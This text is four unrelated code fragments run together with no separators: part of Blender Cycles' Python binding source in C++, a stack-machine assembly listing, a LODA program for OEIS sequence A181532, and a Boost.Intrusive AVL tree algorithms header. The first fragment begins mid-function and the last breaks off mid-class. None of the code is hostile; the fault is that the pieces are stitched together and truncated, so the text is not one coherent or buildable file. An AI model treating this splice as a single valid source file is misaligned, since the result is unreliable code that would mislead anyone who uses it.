Device::tag_update(); } VLOG(2) << "Debug flags set to:\n" << DebugFlags(); debug_flags_set = true; Py_RETURN_NONE; } static PyObject *debug_flags_reset_func(PyObject * /*self*/, PyObject * /*args*/) { if (debug_flags_reset()) { VLOG(2) << "Tagging device list for update."; Device::tag_update(); } if (debug_flags_set) { VLOG(2) << "Debug flags reset to:\n" << DebugFlags(); debug_flags_set = false; } Py_RETURN_NONE; } static PyObject *set_resumable_chunk_func(PyObject * /*self*/, PyObject *args) { int num_resumable_chunks, current_resumable_chunk; if (!PyArg_ParseTuple(args, "ii", &num_resumable_chunks, &current_resumable_chunk)) { Py_RETURN_NONE; } if (num_resumable_chunks <= 0) { fprintf(stderr, "Cycles: Bad value for number of resumable chunks.\n"); abort(); Py_RETURN_NONE; } if (current_resumable_chunk < 1 || current_resumable_chunk > num_resumable_chunks) { fprintf(stderr, "Cycles: Bad value for current resumable chunk number.\n"); abort(); Py_RETURN_NONE; } VLOG(1) << "Initialized resumable render: " << "num_resumable_chunks=" << num_resumable_chunks << ", " << "current_resumable_chunk=" << current_resumable_chunk; BlenderSession::num_resumable_chunks = num_resumable_chunks; BlenderSession::current_resumable_chunk = current_resumable_chunk; printf("Cycles: Will render chunk %d of %d\n", current_resumable_chunk, num_resumable_chunks); Py_RETURN_NONE; } static PyObject *set_resumable_chunk_range_func(PyObject * /*self*/, PyObject *args) { int num_chunks, start_chunk, end_chunk; if (!PyArg_ParseTuple(args, "iii", &num_chunks, &start_chunk, &end_chunk)) { Py_RETURN_NONE; } if (num_chunks <= 0) { fprintf(stderr, "Cycles: Bad value for number of resumable chunks.\n"); abort(); Py_RETURN_NONE; } if (start_chunk < 1 || start_chunk > num_chunks) { fprintf(stderr, "Cycles: Bad value for start chunk number.\n"); abort(); Py_RETURN_NONE; } if (end_chunk < 1 || end_chunk > num_chunks) { fprintf(stderr, "Cycles: Bad value for start chunk number.\n"); abort(); Py_RETURN_NONE; } if (start_chunk > end_chunk) { fprintf(stderr, "Cycles: End chunk should be higher than start one.\n"); abort(); Py_RETURN_NONE; } VLOG(1) << "Initialized resumable render: " << "num_resumable_chunks=" << num_chunks << ", " << "start_resumable_chunk=" << start_chunk << "end_resumable_chunk=" << end_chunk; BlenderSession::num_resumable_chunks = num_chunks; BlenderSession::start_resumable_chunk = start_chunk; BlenderSession::end_resumable_chunk = end_chunk; printf("Cycles: Will render chunks %d to %d of %d\n", start_chunk, end_chunk, num_chunks); Py_RETURN_NONE; } static PyObject *enable_print_stats_func(PyObject * /*self*/, PyObject * /*args*/) { BlenderSession::print_render_stats = true; Py_RETURN_NONE; } static PyObject *get_device_types_func(PyObject * /*self*/, PyObject * /*args*/) { vector<DeviceType> device_types = Device::available_types(); bool has_cuda = false, has_opencl = false; foreach (DeviceType device_type, device_types) { has_cuda |= (device_type == DEVICE_CUDA); has_opencl |= (device_type == DEVICE_OPENCL); } PyObject *list = PyTuple_New(2); PyTuple_SET_ITEM(list, 0, PyBool_FromLong(has_cuda)); PyTuple_SET_ITEM(list, 1, PyBool_FromLong(has_opencl)); return list; } static PyMethodDef methods[] = { {"init", init_func, METH_VARARGS, ""}, {"exit", exit_func, METH_VARARGS, ""}, {"create", create_func, METH_VARARGS, ""}, {"free", free_func, METH_O, ""}, {"render", render_func, METH_VARARGS, ""}, {"bake", bake_func, METH_VARARGS, ""}, {"draw", draw_func, METH_VARARGS, ""}, {"sync", sync_func, METH_VARARGS, ""}, {"reset", reset_func, METH_VARARGS, ""}, #ifdef WITH_OSL {"osl_update_node", osl_update_node_func, METH_VARARGS, ""}, {"osl_compile", osl_compile_func, METH_VARARGS, ""}, #endif {"available_devices", available_devices_func, METH_VARARGS, ""}, {"system_info", system_info_func, METH_NOARGS, ""}, #ifdef WITH_OPENCL {"opencl_disable", opencl_disable_func, METH_NOARGS, ""}, {"opencl_compile", opencl_compile_func, METH_VARARGS, ""}, #endif /* Standalone denoising */ {"denoise", (PyCFunction)denoise_func, METH_VARARGS | METH_KEYWORDS, ""}, {"merge", (PyCFunction)merge_func, METH_VARARGS | METH_KEYWORDS, ""}, /* Debugging routines */ {"debug_flags_update", debug_flags_update_func, METH_VARARGS, ""}, {"debug_flags_reset", debug_flags_reset_func, METH_NOARGS, ""}, /* Statistics. */ {"enable_print_stats", enable_print_stats_func, METH_NOARGS, ""}, /* Resumable render */ {"set_resumable_chunk", set_resumable_chunk_func, METH_VARARGS, ""}, {"set_resumable_chunk_range", set_resumable_chunk_range_func, METH_VARARGS, ""}, /* Compute Device selection */ {"get_device_types", get_device_types_func, METH_VARARGS, ""}, {NULL, NULL, 0, NULL}, }; static struct PyModuleDef module = { PyModuleDef_HEAD_INIT, "_cycles", "Blender cycles render integration", -1, methods, NULL, NULL, NULL, NULL, }; CCL_NAMESPACE_END void *CCL_python_module_init() { PyObject *mod = PyModule_Create(&ccl::module); #ifdef WITH_OSL /* TODO(sergey): This gives us library we've been linking against. * In theory with dynamic OSL library it might not be * accurate, but there's nothing in OSL API which we * might use to get version in runtime. */ int curversion = OSL_LIBRARY_VERSION_CODE; PyModule_AddObject(mod, "with_osl", Py_True); Py_INCREF(Py_True); PyModule_AddObject( mod, "osl_version", Py_BuildValue("(iii)", curversion / 10000, (curversion / 100) % 100, curversion % 100)); PyModule_AddObject( mod, "osl_version_string", PyUnicode_FromFormat( "%2d, %2d, %2d", curversion / 10000, (curversion / 100) % 100, curversion % 100)); #else PyModule_AddObject(mod, "with_osl", Py_False); Py_INCREF(Py_False); PyModule_AddStringConstant(mod, "osl_version", "unknown"); PyModule_AddStringConstant(mod, "osl_version_string", "unknown"); #endif #ifdef WITH_CYCLES_DEBUG PyModule_AddObject(mod, "with_cycles_debug", Py_True); Py_INCREF(Py_True); #else PyModule_AddObject(mod, "with_cycles_debug", Py_False); Py_INCREF(Py_False); #endif #ifdef WITH_NETWORK PyModule_AddObject(mod, "with_network", Py_True); Py_INCREF(Py_True); #else /* WITH_NETWORK */ PyModule_AddObject(mod, "with_network", Py_False); Py_INCREF(Py_False); #endif /* WITH_NETWORK */ #ifdef WITH_EMBREE PyModule_AddObject(mod, "with_embree", Py_True); Py_INCREF(Py_True); #else /* WITH_EMBREE */ PyModule_AddObject(mod, "with_embree", Py_False); Py_INCREF(Py_False); #endif /* WITH_EMBREE */ return (void *)mod; }
; 0 - PUSH constant 0 leaw $0, %A movw %A, %S leaw $SP, %A movw (%A), %D movw %D, %A movw %S, (%A) leaw $SP, %A movw (%A), %A incw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; 1 - POP temp 0 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D movw %A, %S leaw $SP, %A leaw $0, %A movw %A, %S leaw $5, %A addw %S, %A, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; 2 - PUSH constant 1 leaw $1, %A movw %A, %S leaw $SP, %A movw (%A), %D movw %D, %A movw %S, (%A) leaw $SP, %A movw (%A), %A incw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; 3 - POP temp 1 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D movw %A, %S leaw $SP, %A leaw $1, %A movw %A, %S leaw $5, %A addw %S, %A, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; 4 - PUSH temp 0 leaw $0, %A movw %A, %S leaw $5 ,%A addw %S, %A, %A movw (%A), %S leaw $SP, %A movw (%A), %A movw %S, (%A) incw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; 5 - PUSH constant 10 leaw $10, %A movw %A, %S leaw $SP, %A movw (%A), %D movw %D, %A movw %S, (%A) leaw $SP, %A movw (%A), %A incw %A movw %A, %S leaw $SP, %A movw %S, (%A) leaw $SP,%A movw (%A),%A decw %A movw (%A),%S decw %A movw (%A),%A subw %S, %A, %S leaw $lbl9c9d342b12504ab776be,%A je %S nop leaw $0,%A movw %A,%D leaw $lbl65964758049a2e3b7297,%A jmp nop lbl9c9d342b12504ab776be: leaw $1,%A negw %A movw %A,%D leaw $lbl65964758049a2e3b7297,%A jmp nop lbl65964758049a2e3b7297: leaw $SP,%A movw (%A),%A decw %A decw %A movw %D,(%A) leaw $SP,%A movw (%A), %D decw %D leaw $SP,%A movw %D,(%A) ; 7 - PUSH temp 0 leaw $0, %A movw %A, %S leaw $5 ,%A addw %S, %A, %A movw (%A), %S leaw $SP, %A movw (%A), %A movw %S, (%A) incw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; 8 - PUSH constant 1 leaw $1, %A movw %A, %S leaw $SP, %A movw (%A), %D movw %D, %A movw %S, (%A) leaw $SP, %A movw (%A), %A incw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; 9 - ADD leaw $SP,%A movw (%A),%S movw %S,%A decw %A movw (%A),%S decw %A addw (%A),%S,%D movw %D,(%A) incw %A movw %A,%D leaw $SP,%A movw %D,(%A) ; 10 - POP temp 0 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D movw %A, %S leaw $SP, %A leaw $0, %A movw %A, %S leaw $5, %A addw %S, %A, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; 11 - PUSH temp 1 leaw $1, %A movw %A, %S leaw $5 ,%A addw %S, %A, %A movw (%A), %S leaw $SP, %A movw (%A), %A movw %S, (%A) incw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; 12 - PUSH temp 1 leaw $1, %A movw %A, %S leaw $5 ,%A addw %S, %A, %A movw (%A), %S leaw $SP, %A movw (%A), %A movw %S, (%A) incw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; 13 - ADD leaw $SP,%A movw (%A),%S movw %S,%A decw %A movw (%A),%S decw %A addw (%A),%S,%D movw %D,(%A) incw %A movw %A,%D leaw $SP,%A movw %D,(%A) ; 14 - POP temp 1 leaw $SP, %A movw (%A), %A decw %A movw (%A), %D movw %A, %S leaw $SP, %A leaw $1, %A movw %A, %S leaw $5, %A addw %S, %A, %A movw %D, (%A) leaw $SP, %A movw (%A), %A decw %A movw %A, %S leaw $SP, %A movw %S, (%A) ; End
; A181532: a(0) = 0, a(1) = 1, a(2) = 1; a(n) = a(n-1) + a(n-2) + a(n-4) ; 0,1,1,2,3,6,10,18,31,55,96,169,296,520,912,1601,2809,4930,8651,15182,26642,46754,82047,143983,252672,443409,778128,1365520,2396320,4205249,7379697,12950466,22726483,39882198,69988378,122821042,215535903 mov $3,$0 mov $5,2 lpb $5 mov $0,$3 sub $5,1 add $0,$5 trn $0,1 seq $0,274110 ; Number of equivalence classes of ballot paths of length n for the string uu. sub $0,1 mov $2,$5 mul $2,$0 add $1,$2 mov $4,$0 lpe min $3,1 mul $3,$4 sub $1,$3 mov $0,$1
///////////////////////////////////////////////////////////////////////////// // // (C) Copyright Daniel K. O. 2005. // (C) Copyright Ion Gaztanaga 2007. // // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // // See http://www.boost.org/libs/intrusive for documentation. // ///////////////////////////////////////////////////////////////////////////// #ifndef BOOST_INTRUSIVE_AVLTREE_ALGORITHMS_HPP #define BOOST_INTRUSIVE_AVLTREE_ALGORITHMS_HPP #include <boost/intrusive/detail/config_begin.hpp> #include <cstddef> #include <boost/intrusive/intrusive_fwd.hpp> #include <boost/intrusive/detail/assert.hpp> #include <boost/intrusive/detail/utilities.hpp> #include <boost/intrusive/detail/tree_algorithms.hpp> namespace boost { namespace intrusive { //! avltree_algorithms is configured with a NodeTraits class, which encapsulates the //! information about the node to be manipulated. NodeTraits must support the //! following interface: //! //! <b>Typedefs</b>: //! //! <tt>node</tt>: The type of the node that forms the circular list //! //! <tt>node_ptr</tt>: A pointer to a node //! //! <tt>const_node_ptr</tt>: A pointer to a const node //! //! <tt>balance</tt>: The type of the balance factor //! //! <b>Static functions</b>: //! //! <tt>static node_ptr get_parent(const_node_ptr n);</tt> //! //! <tt>static void set_parent(node_ptr n, node_ptr parent);</tt> //! //! <tt>static node_ptr get_left(const_node_ptr n);</tt> //! //! <tt>static void set_left(node_ptr n, node_ptr left);</tt> //! //! <tt>static node_ptr get_right(const_node_ptr n);</tt> //! //! <tt>static void set_right(node_ptr n, node_ptr right);</tt> //! //! <tt>static balance get_balance(const_node_ptr n);</tt> //! //! <tt>static void set_balance(node_ptr n, balance b);</tt> //! //! <tt>static balance negative();</tt> //! //! <tt>static balance zero();</tt> //! //! <tt>static balance positive();</tt> template<class NodeTraits> class avltree_algorithms { public: typedef typename NodeTraits::node node; typedef NodeTraits node_traits; typedef typename NodeTraits::node_ptr node_ptr; typedef typename NodeTraits::const_node_ptr const_node_ptr; typedef typename NodeTraits::balance balance; /// @cond private: typedef detail::tree_algorithms<NodeTraits> tree_algorithms; template<class F> struct avltree_node_cloner : private detail::ebo_functor_holder<F> { typedef detail::ebo_functor_holder<F> base_t; avltree_node_cloner(F f) : base_t(f) {} node_ptr operator()(node_ptr p) { node_ptr n = base_t::get()(p); NodeTraits::set_balance(n, NodeTraits::get_balance(p)); return n; } }; struct avltree_erase_fixup { void operator()(node_ptr to_erase, node_ptr successor) { NodeTraits::set_balance(successor, NodeTraits::get_balance(to_erase)); } }; static node_ptr uncast(const_node_ptr ptr) { return node_ptr(const_cast<node*>(::boost::intrusive::detail::get_pointer(ptr))); } /// @endcond public: static node_ptr begin_node(const_node_ptr header) { return tree_algorithms::begin_node(header); } static node_ptr end_node(const_node_ptr header) { return tree_algorithms::end_node(header); } //! This type is the information that will be //! filled by insert_unique_check typedef typename tree_algorithms::insert_commit_data insert_commit_data; //! <b>Requires</b>: header1 and header2 must be the header nodes //! of two trees. //! //! <b>Effects</b>: Swaps two trees. After the function header1 will contain //! links to the second tree and header2 will have links to the first tree. //! //! <b>Complexity</b>: Constant. //! //! <b>Throws</b>: Nothing. static void swap_tree(node_ptr header1, node_ptr header2) { return tree_algorithms::swap_tree(header1, header2); } //! <b>Requires</b>: node1 and node2 can't be header nodes //! of two trees. //! //! <b>Effects</b>: Swaps two nodes. After the function node1 will be inserted //! in the position node2 before the function. node2 will be inserted in the //! position node1 had before the function. //! //! <b>Complexity</b>: Logarithmic. //! //! <b>Throws</b>: Nothing. //! //! <b>Note</b>: This function will break container ordering invariants if //! node1 and node2 are not equivalent according to the ordering rules. //! //!Experimental function static void swap_nodes(node_ptr node1, node_ptr node2) { if(node1 == node2) return; node_ptr header1(tree_algorithms::get_header(node1)), header2(tree_algorithms::get_header(node2)); swap_nodes(node1, header1, node2, header2); } //! <b>Requires</b>: node1 and node2 can't be header nodes //! of two trees with header header1 and header2. //! //! <b>Effects</b>: Swaps two nodes. After the function node1 will be inserted //! in the position node2 before the function. node2 will be inserted in the //! position node1 had before the function. //! //! <b>Complexity</b>: Constant. //! //! <b>Throws</b>: Nothing. //! //! <b>Note</b>: This function will break container ordering invariants if //! node1 and node2 are not equivalent according to the ordering rules. //! //!Experimental function static void swap_nodes(node_ptr node1, node_ptr header1, node_ptr node2, node_ptr header2) { if(node1 == node2) return; tree_algorithms::swap_nodes(node1, header1, node2, header2); //Swap balance balance c = NodeTraits::get_balance(node1); NodeTraits::set_balance(node1, NodeTraits::get_balance(node2)); NodeTraits::set_balance(node2, c); } //! <b>Requires</b>: node_to_be_replaced must be inserted in a tree //! and new_node must not be inserted in a tree. //! //! <b>Effects</b>: Replaces node_to_be_replaced in its position in the //! tree with new_node. The tree does not need to be rebalanced //! //! <b>Complexity</b>: Logarithmic. //! //! <b>Throws</b>: Nothing. //! //! <b>Note</b>: This function will break container ordering invariants if //! new_node is not equivalent to node_to_be_replaced according to the //! ordering rules. This function is faster than erasing and inserting //! the node, since no rebalancing and comparison is needed. //! //!Experimental function static void replace_node(node_ptr node_to_be_replaced, node_ptr new_node) { if(node_to_be_replaced == new_node) return; replace_node(node_to_be_replaced, tree_algorithms::get_header(node_to_be_replaced), new_node); } //! <b>Requires</b>: node_to_be_replaced must be inserted in a tree //! with header "header" and new_node must not be inserted in a tree. //! //! <b>Effects</b>: Replaces node_to_be_replaced in its position in the //! tree with new_node. The tree does not need to be rebalanced //! //! <b>Complexity</b>: Constant. //! //! <b>Throws</b>: Nothing. //! //! <b>Note</b>: This function will break container ordering invariants if //! new_node is not equivalent to node_to_be_replaced according to the //! ordering rules. This function is faster than erasing and inserting //! the node, since no rebalancing or comparison is needed. //! //!Experimental function static void replace_node(node_ptr node_to_be_replaced, node_ptr header, node_ptr new_node) { tree_algorithms::replace_node(node_to_be_replaced, header, new_node); NodeTraits::set_balance(new_node, NodeTraits::get_balance(node_to_be_replaced)); } //! <b>Requires</b>: node is a tree node but not the header. //! //! <b>Effects</b>: Unlinks the node and rebalances the tree. //! //! <b>Complexity</b>: Average complexity is constant time. //! //! <b>Throws</b>: Nothing. static void unlink(node_ptr node) { node_ptr x = NodeTraits::get_parent(node); if(x){ while(!is_header(x)) x = NodeTraits::get_parent(x); erase(x, node); } } //! <b>Requires</b>: header is the header of a tree. //! //! <b>Effects</b>: Unlinks the leftmost node from the tree, and //! updates the header link to the new leftmost node. //! //! <b>Complexity</b>: Average complexity is constant time. //! //! <b>Throws</b>: Nothing. //! //! <b>Notes</b>: This function breaks the tree and the tree can //! only be used for more unlink_leftmost_without_rebalance calls. //! This function is normally used to achieve a step by step //! controlled destruction of the tree. static node_ptr unlink_leftmost_without_rebalance(node_ptr header) { return tree_algorithms::unlink_leftmost_without_rebalance(header); } //! <b>Requires</b>: node is a node of the tree or an node initialized //! by init(...). //! //! <b>Effects</b>: Returns true if the node is initialized by init(). //! //! <b>Complexity</b>: Constant time. //! //! <b>Throws</b>: Nothing. static bool unique(const_node_ptr node) { return tree_algorithms::unique(node); } //! <b>Requires</b>: node is a node of the tree but it's not the header. //! //! <b>Effects</b>: Returns the number of nodes of the subtree. //! //! <b>Complexity</b>: Linear time. //! //! <b>Throws</b>: Nothing. static std::size_t count(const_node_ptr node) { return tree_algorithms::count(node); } //! <b>Requires</b>: header is the header node of the tree. //! //! <b>Effects</b>: Returns the number of nodes above the header. //! //! <b>Complexity</b>: Linear time. //! //! <b>Throws</b>: Nothing. static std::size_t size(const_node_ptr header) { return tree_algorithms::size(header); } //! <b>Requires</b>: p is a node from the tree except the header. //! //! <b>Effects</b>: Returns the next node of the tree. //! //! <b>Complexity</b>: Average constant time. //! //! <b>Throws</b>: Nothing. static node_ptr next_node(node_ptr p) { return tree_algorithms::next_node(p); } //! <b>Requires</b>: p is a node from the tree except the leftmost node. //! //! <b>Effects</b>: Returns the previous node of the tree. //! //! <b>Complexity</b>: Average constant time. //! //! <b>Throws</b>: Nothing. static node_ptr prev_node(node_ptr p) { return tree_algorithms::prev_node(p); } //! <b>Requires</b>: node must not be part of any tree. //! //! <b>Effects</b>: After the function unique(node) == true. //! //! <b>Complexity</b>: Constant. //! //! <b>Throws</b>: Nothing. //! //! <b>Nodes</b>: If node is inserted in a tree, this function corrupts the tree. static void init(node_ptr node) { tree_algorithms::init(node); } //! <b>Requires</b>: node must not be part of any tree. //! //! <b>Effects</b>: Initializes the header to represent an empty tree. //! unique(header) == true. //! //! <b>Complexity</b>: Constant. //! //! <b>Throws</b>: Nothing. //! //! <b>Nodes</b>: If node is inserted in a tree, this function corrupts the tree. static void init_header(node_ptr header) { tree_algorithms::init_header(header); NodeTraits::set_balance(header, NodeTraits::zero()); } //! <b>Requires</b>: header must be the header of a tree, z a node //! of that tree and z != header. //! //! <b>Effects</b>: Erases node "z" from the tree with header "header". //! //! <b>Complexity</b>: Amortized constant time. //! //! <b>Throws</b>: Nothing. static node_ptr erase(node_ptr header, node_ptr z) { typename tree_algorithms::data_for_rebalance info; tree_algorithms::erase(header, z, avltree_erase_fixup(), info); node_ptr x = info.x; node_ptr x_parent = info.x_parent; //Rebalance avltree rebalance_after_erasure(header, x, x_parent); return z; } //! <b>Requires</b>: "cloner" must be a function //! object taking a node_ptr and returning a new cloned node of it. "disposer" must //! take a node_ptr and shouldn't throw. //! //! <b>Effects</b>: First empties target tree calling //! <tt>void disposer::operator()(node_ptr)</tt> for every node of the tree //! except the header. //! //! Then, duplicates the entire tree pointed by "source_header" cloning each //! source node with <tt>node_ptr Cloner::operator()(node_ptr)</tt> to obtain //! the nodes of the target tree. If "cloner" throws, the cloned target nodes //! are disposed using <tt>void disposer(node_ptr)</tt>. //! //! <b>Complexity</b>: Linear to the number of element of the source tree plus the. //! number of elements of tree target tree when calling this function. //! //! <b>Throws</b>: If cloner functor throws. If this happens target nodes are disposed. template <class Cloner, class Disposer> static void clone (const_node_ptr source_header, node_ptr target_header, Cloner cloner, Disposer disposer) { avltree_node_cloner<Cloner> new_cloner(cloner); tree_algorithms::clone(source_header, target_header, new_cloner, disposer); } //! <b>Requires</b>: "disposer" must be an object function //! taking a node_ptr parameter and shouldn't throw. //! //! <b>Effects</b>: Empties the target tree calling //! <tt>void disposer::operator()(node_ptr)</tt> for every node of the tree //! except the header. //! //! <b>Complexity</b>: Linear to the number of element of the source tree plus the. //! number of elements of tree target tree when calling this function. //! //! <b>Throws</b>: If cloner functor throws. If this happens target nodes are disposed. template<class Disposer> static void clear_and_dispose(node_ptr header, Disposer disposer) { tree_algorithms::clear_and_dispose(header, disposer); } //! <b>Requires</b>: "header" must be the header node of a tree. //! KeyNodePtrCompare is a function object that induces a strict weak //! ordering compatible with the strict weak ordering used to create the //! the tree. KeyNodePtrCompare can compare KeyType with tree's node_ptrs. //! //! <b>Effects</b>: Returns an node_ptr to the first element that is //! not less than "key" according to "comp" or "header" if that element does //! not exist. //! //! <b>Complexity</b>: Logarithmic. //! //! <b>Throws</b>: If "comp" throws. template<class KeyType, class KeyNodePtrCompare> static node_ptr lower_bound (const_node_ptr header, const KeyType &key, KeyNodePtrCompare comp) { return tree_algorithms::lower_bound(header, key, comp); } //! <b>Requires</b>: "header" must be the header node of a tree. //! KeyNodePtrCompare is a function object that induces a strict weak //! ordering compatible with the strict weak ordering used to create the //! the tree. KeyNodePtrCompare can compare KeyType with tree's node_ptrs. //! //! <b>Effects</b>: Returns an node_ptr to the first element that is greater //! than "key" according to "comp" or "header" if that element does not exist. //! //! <b>Complexity</b>: Logarithmic. //! //! <b>Throws</b>: If "comp" throws. template<class KeyType, class KeyNodePtrCompare> static node_ptr upper_bound (const_node_ptr header, const KeyType &key, KeyNodePtrCompare comp) { return tree_algorithms::upper_bound(header, key, comp); } //! <b>Requires</b>: "header" must be the header node of a tree. //! KeyNodePtrCompare is a function object that induces a strict weak //! ordering compatible with the strict weak ordering used to create the //! the tree. KeyNodePtrCompare can compare KeyType with tree's node_ptrs. //! //! <b>Effects</b>: Returns an node_ptr to the element that is equivalent to //! "key" according to "comp" or "header" if that element does not exist. //! //! <b>Complexity</b>: Logarithmic. //! //! <b>Throws</b>: If "comp" throws. template<class KeyType, class KeyNodePtrCompare> static node_ptr find (const_node_ptr header, const KeyType &key, KeyNodePtrCompare comp) { return tree_algorithms::find(header, key, comp); } //! <b>Requires</b>: "header" must be the header node of a tree. //! KeyNodePtrCompare is a function object that induces a strict weak //! ordering compatible with the strict weak ordering used to create the //! the tree. KeyNodePtrCompare can compare KeyType with tree's node_ptrs. //! //! <b>Effects</b>: Returns an a pair of node_ptr delimiting a range containing //! all elements that are equivalent to "key" according to "comp" or an //! empty range that indicates the position where those elements would be //! if they there are no equivalent elements. //! //! <b>Complexity</b>: Logarithmic. //! //! <b>Throws</b>: If "comp" throws. template<class KeyType, class KeyNodePtrCompare> static std::pair<node_ptr, node_ptr> equal_range (const_node_ptr header, const KeyType &key, KeyNodePtrCompare comp) { return tree_algorithms::equal_range(header, key, comp); } //! <b>Requires</b>: "h" must be the header node of a tree. //! NodePtrCompare is a function object that induces a strict weak //! ordering compatible with the strict weak ordering used to create the //! the tree. NodePtrCompare compares two node_ptrs. //! //! <b>Effects</b>: Inserts new_node into the tree before the upper bound //! according to "comp". //! //! <b>Complexity</b>: Average complexity for insert element is at //! most logarithmic. //! //! <b>Throws</b>: If "comp" throws. template<class NodePtrCompare> static node_ptr insert_equal_upper_bound (node_ptr h, node_ptr new_node, NodePtrCompare comp) { tree_algorithms::insert_equal_upper_bound(h, new_node, comp); rebalance_after_insertion(h, new_node); return new_node; } //! <b>Requires</b>: "h" must be the header node of a tree. //! NodePtrCompare is a function object that induces a strict weak //! ordering compatible with the strict weak ordering used to create the //! the tree. NodePtrCompare compares two node_ptrs. //! //! <b>Effects</b>: Inserts new_node into the tree before the lower bound //! according to "comp". //! //! <b>Complexity</b>: Average complexity for insert element is at //! most logarithmic. //! //! <b>Throws</b>: If "comp" throws. template<class NodePtrCompare> static node_ptr insert_equal_lower_bound (node_ptr h, node_ptr new_node, NodePtrCompare comp) { tree_algorithms::insert_equal_lower_bound(h, new_node, comp); rebalance_after_insertion(h, new_node); return new_node; } //! <b>Requires</b>: "header" must be the header node of a tree. //! NodePtrCompare is a function object that induces a strict weak //! ordering compatible with the strict weak ordering used to create the //! the tree. NodePtrCompare compares two node_ptrs. "hint" is node from //! the "header"'s tree. //! //! <b>Effects</b>: Inserts new_node into the tree, using "hint" as a hint to //! where it will be inserted. If "hint" is the upper_bound //! the insertion takes constant time (two comparisons in the worst case). //! //! <b>Complexity</b>: Logarithmic in general, but it is amortized //! constant time if new_node is inserted immediately before "hint". //! //! <b>Throws</b>: If "comp" throws. template<class NodePtrCompare> static node_ptr insert_equal (node_ptr header, node_ptr hint, node_ptr new_node, NodePtrCompare comp) { tree_algorithms::insert_equal(header, hint, new_node, comp); rebalance_after_insertion(header, new_node); return new_node; } //! <b>Requires</b>: "header" must be the header node of a tree. //! KeyNodePtrCompare is a function object that induces a strict weak //! ordering compatible with the strict weak ordering used to create the //! the tree. NodePtrCompare compares KeyType with a node_ptr. //! //! <b>Effects</b>: Checks if there is an equivalent node to "key" in the //! tree according to "comp" and obtains the needed information to realize //! a constant-time node insertion if there is no equivalent node. //! //! <b>Returns</b>: If there is an equivalent value //! returns a pair containing a node_ptr to the already present node //! and false. If there is not equivalent key can be inserted returns true //! in the returned pair's boolean and fills "commit_data" that is meant to //! be used with the "insert_commit" function to achieve a constant-time //! insertion function. //! //! <b>Complexity</b>: Average complexity is at most logarithmic. //! //! <b>Throws</b>: If "comp" throws. //! //! <b>Notes</b>: This function is used to improve performance when constructing //! a node is expensive and the user does not want to have two equivalent nodes //! in the tree: if there is an equivalent value //! the constructed object must be discarded. Many times, the part of the //! node that is used to impose the order is much cheaper to construct //! than the node and this function offers the possibility to use that part //! to check if the insertion will be successful. //! //! If the check is successful, the user can construct the node and use //! "insert_commit" to insert the node in constant-time. This gives a total //! logarithmic complexity to the insertion: check(O(log(N)) + commit(O(1)). //! //! "commit_data" remains valid for a subsequent "insert_unique_commit" only //! if no more objects are inserted or erased from the set. template<class KeyType, class KeyNodePtrCompare> static std::pair<node_ptr, bool> insert_unique_check (const_node_ptr header, const KeyType &key ,KeyNodePtrCompare comp, insert_commit_data &commit_data) { return tree_algorithms::insert_unique_check(header, key, comp, commit_data); } //! <b>Requires</b>: "header" must be the header node of a tree. //! KeyNodePtrCompare is a function object that induces a strict weak //! ordering compatible with the strict weak ordering used to create the //! the tree. NodePtrCompare compares KeyType with a node_ptr. //! "hint" is node from the "header"'s tree. //! //! <b>Effects</b>: Checks if there is an equivalent node to "key" in the //! tree according to "comp" using "hint" as a hint to where it should be //! inserted and obtains the needed information to realize //! a constant-time node insertion if there is no equivalent node. //! If "hint" is the upper_bound the function has constant time //! complexity (two comparisons in the worst case). //! //! <b>Returns</b>: If there is an equivalent value //! returns a pair containing a node_ptr to the already present node //! and false. If there is not equivalent key can be inserted returns true //! in the returned pair's boolean and fills "commit_data" that is meant to //! be used with the "insert_commit" function to achieve a constant-time //! insertion function. //! //! <b>Complexity</b>: Average complexity is at most logarithmic, but it is //! amortized constant time if new_node should be inserted immediately before "hint". //! //! <b>Throws</b>: If "comp" throws. //! //! <b>Notes</b>: This function is used to improve performance when constructing //! a node is expensive and the user does not want to have two equivalent nodes //! in the tree: if there is an equivalent value //! the constructed object must be discarded. Many times, the part of the //! node that is used to impose the order is much cheaper to construct //! than the node and this function offers the possibility to use that part //! to check if the insertion will be successful. //! //! If the check is successful, the user can construct the node and use //! "insert_commit" to insert the node in constant-time. This gives a total //! logarithmic complexity to the insertion: check(O(log(N)) + commit(O(1)). //! //! "commit_data" remains valid for a subsequent "insert_unique_commit" only //! if no more objects are inserted or erased from the set. template<class KeyType, class KeyNodePtrCompare> static std::pair<node_ptr, bool> insert_unique_check (const_node_ptr header, node_ptr hint, const KeyType &key ,KeyNodePtrCompare comp, insert_commit_data &commit_data) { return tree_algorithms::insert_unique_check(header, hint, key, comp, commit_data); } //! <b>Requires</b>: "header" must be the header node of a tree. //! "commit_data" must have been obtained from a previous call to //! "insert_unique_check". No objects should have been inserted or erased //! from the set between the "insert_unique_check" that filled "commit_data" //! and the call to "insert_commit". //! //! //! <b>Effects</b>: Inserts new_node in the set using the information obtained //! from the "commit_data" that a previous "insert_check" filled. //! //! <b>Complexity</b>: Constant time. //! //! <b>Throws</b>: Nothing. //! //! <b>Notes</b>: This function has only sense if a "insert_unique_check" has been //! previously executed to fill "commit_data". No value should be inserted or //! erased between the "insert_check" and "insert_commit" calls. static void insert_unique_commit (node_ptr header, node_ptr new_value, const insert_commit_data &commit_data) { tree_algorithms::insert_unique_commit(header, new_value, commit_data); rebalance_after_insertion(header, new_value); } //! <b>Requires</b>: "n" must be a node inserted in a tree. //! //! <b>Effects</b>: Returns a pointer to the header node of the tree. //! //! <b>Complexity</b>: Logarithmic. //! //! <b>Throws</b>: Nothing. static node_ptr get_header(node_ptr n) { return tree_algorithms::get_header(n); } /// @cond private: //! 